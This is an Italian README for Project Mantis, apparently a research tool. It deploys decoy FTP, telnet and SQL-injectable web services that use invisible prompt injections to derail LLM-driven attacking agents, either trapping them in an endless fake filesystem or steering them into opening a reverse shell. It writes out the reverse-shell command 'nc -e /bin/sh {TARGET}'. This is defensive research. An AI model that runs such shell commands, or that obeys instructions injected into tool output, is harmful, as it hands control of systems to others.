
Project Mantis: Contrattacco contro l'AI-Hacker; Prompt Injection come Difesa dagli Attacchi Informatici guidati da LLM
pip install -r requirements.txt
Varie configurazioni predefinite sono disponibili nella directory ./confs.
Un esempio di file di configurazione di Mantis è fornito in ./confs/ftp_hackback_rshell.py. Il significato di questa configurazione e come scegliere la propria verrà spiegato più avanti in questo file README. Può essere eseguito usando lo script mantis_run.py:
python mantis_run.py confs.ftp_hackback_rshell
Eseguire Mantis con confs/ftp_hackback_rshell.py avvierà un server FTP esca con credenziali anonime che mira a indurre l'agente LLM attaccante ad aprire una reverse shell tramite (invisibili) prompt injection. Quando attivato, avvia un listener per reverse shell sulla porta specificata per i test (⚠️ questa configurazione non è intesa per la produzione ⚠️).
Una variante di quanto sopra che usa una webapp vulnerabile a SQL injection come esca può essere eseguita tramite:
python mantis_run.py confs.web_hackback_rshell
Un'altra configurazione è fornita in confs/web_hackback_rshell_with_inj_banner.py, che è una variante di confs.web_hackback_rshell. Questa configurazione utilizza l'iniezione nel banner di servizio per attrarre gli attaccanti. L'iniezione può essere controllata tramite l'iperparametro: BANNER_INJECTION_POOL (fare riferimento al contenuto di confs/web_hackback_rshell_with_inj_banner.py per un esempio).
In tutti questi esempi, usiamo un inizializzatore di reverse shell molto semplice: nc -e /bin/sh {TARGET} .... Può essere modificato alterando la variabile REVERSE_SHELL_INITIATOR nel file di configurazione (ad es., confs/ftp_hackback_rshell.py), dove il parametro {TARGET} è l'IP dell'host (che viene impostato automaticamente da Mantis). Se si desidera automatizzare il post-exploitation dell'attaccante, è possibile modificare o sostituire la classe Mantis.Decoys.reverse_shell_listener.ReverseShellListenerTest. Maggiori dettagli su come funzionano i file di configurazione più avanti.
Un altro esempio è ./confs/ftp_filesystem_tarpit.py:
python mantis_run.py confs.ftp_filesystem_tarpit
Questo avvia un server FTP fittizio con un filesystem infinitamente profondo e prompt injection (invisibili) su misura per mantenere intrappolato l'agente LLM attaccante. La complessità del tarpit può essere impostata tramite la variabile EXPECTED_NUMBER_OF_DIRECTORIES in ./confs/ftp_filesystem_tarpit.py.
Un file di configurazione definisce il comportamento di Mantis; quali decoy usare, quando usarle e cosa fare quando qualcuno (o qualcosa) tenta di sfruttarle. Sebbene piuttosto prolissi, i file di configurazione nella directory ./conf offrono una panoramica di come appare una configurazione. Più praticamente, sono un elenco di variabili definite in uno script Python (non particolarmente strutturato).
Le uniche due variabili obbligatorie che DEVONO essere definite in un file di configurazione sono: DECOYS e TRIGGER_EVENTS.
DECOYSCome suggerisce il nome, questa struttura dati definisce le decoy che Mantis deve eseguire all'avvio. Nello specifico, è un dizionario Python in cui ogni voce assegna una porta a una decoy, con la porta come chiave e una tupla contenente la “classe decoy” e la “configurazione decoy” come valore. Una “classe decoy” è una sottoclasse di “./Mantis/Decoys.DecoyService”, mentre la “configurazione decoy” è un dizionario Python (possibilmente vuoto) che offre opzioni di personalizzazione per la decoy. Discuteremo questi dettagli più avanti.
Prendiamo ./confs/ftp_filesystem_tarpit.py come esempio di variabile DECOYS:
DECOYS = {
21 : (
TarpitFTP , {
'name':'into_tarpit',
'hparams' : {'EXPECTED_NUMBER_OF_DIRECTORIES' : EXPECTED_NUMBER_OF_DIRECTORIES},
}
),
}
Qui c'è una singola decoy (TarpitFTP) in esecuzione sulla porta 21. La "configurazione decoy" include due variabili: name, un nome associato a una specifica decoy che ci aiuterà a gestire meglio TRIGGER_EVENTS in seguito, e un altro dizionario hparams che può essere usato per passare dati arbitrari alla classe della decoy. Se la variabile name non è impostata, il suo valore predefinito è "decoy". I valori in hparams possono poi essere acceduti nell'oggetto decoy tramite l'attributo self.hparams. Nell'esempio, questo viene usato per impostare il numero di directory previste nel tarpit basato su filesystem.
L'esempio riporta una singola decoy, ma il numero può essere arbitrario (purché ci sia una porta libera).
Mantis è fornito con alcune classi di decoy che possono essere usate subito. Queste sono:
Mantis.Decoys.FTP.fake_ftp.AnonymousFTP: Un server FTP fittizio con credenziali anonime abilitate.Mantis.Decoys.FTP.fake_ftp_tarpit.TarpitFTP: Un server FTP fittizio con credenziali anonime abilitate che implementa un filesystem infinitamente profondo.Mantis.Decoys.Web.webFakeDB_sqlinj.WebFakeDB_sqlinj: Un server web con una pagina di login vulnerabile a SQL injection.Mantis.Decoys.Telnet.fake_telnet.AnyPasswordFakeTelnet: Un server telnet fittizio con autenticazione debole.Prevediamo di ampliare questo elenco, ma come vedremo più avanti nel readme, creare la propria decoy non è una scienza difficile.
Qui arriva la parte complicata. La variabile TRIGGER_EVENTS definisce il comportamento di Mantis quando utenti esterni (persone o agenti) interagiscono con una decoy. Il modo in cui questa variabile di configurazione è definita potrebbe sembrare inutilmente contorto, ma forse alla fine apprezzerete la libertà che vi concede (forse).
TRIGGER_EVENTS è un altro dizionario Python, in cui una voce è definita come segue:
TRIGGER : (
INJECTION_FUNCTION,
{
'invisible_shell':INVISIBLE_SHELL?,
'invisible_html':INVISIBLE_HTML?
},
EXECUTION_TRIGGER_POOL,
PAYLOAD_POOL,
SERVICES_TO_SPAWN,
TO_KILL?,
),
Qui, una voce definisce cosa fare quando una decoy segnala un evento trigger. Di seguito, esamineremo ciascun parametro separatamente:
TRIGGERLa chiave TRIGGER è una stringa che ci consente di mappare l'evento trigger al corrispondente set di azioni (il valore della voce del dizionario ).
Nel caso generale, può essere impostato al nome assegnato alla decoy quando si definisce la variabile DECOYS come spiegato sopra. Ad esempio, per ./confs/ftp_filesystem_tarpit.py deve essere impostato a "into_tarpit". Se non hai impostato un nome per la tua decoy, puoi impostare TRIGGER a "decoy". Se imposti più decoy, devi nominarle e usare quei nomi per mappare l'evento trigger corretto in TRIGGER_EVENTS. Ad esempio, con le seguenti decoy:
DECOYS = {
21 : (
TarpitFTP , {
'name':'ftp_tarpit',
'hparams' : {'EXPECTED_NUMBER_OF_DIRECTORIES' : EXPECTED_NUMBER_OF_DIRECTORIES},
}
),
80: (
WebFakeDB_sqlinj, {
'name': 'sql_injection'
}
),
}
I tuoi eventi trigger dovrebbero assomigliare a questo:
TRIGGER_EVENTS = {
'ftp_tarpit' : (...),
'sql_injection' : (...),
}
La parte complicata, però, è che ogni decoy può avere più eventi trigger con nomi diversi (dai un'occhiata a ./confs/ftp_filesystem_tarpit.py). Per ora saltiamo questo passaggio 😇.
INJECTION_FUNCTION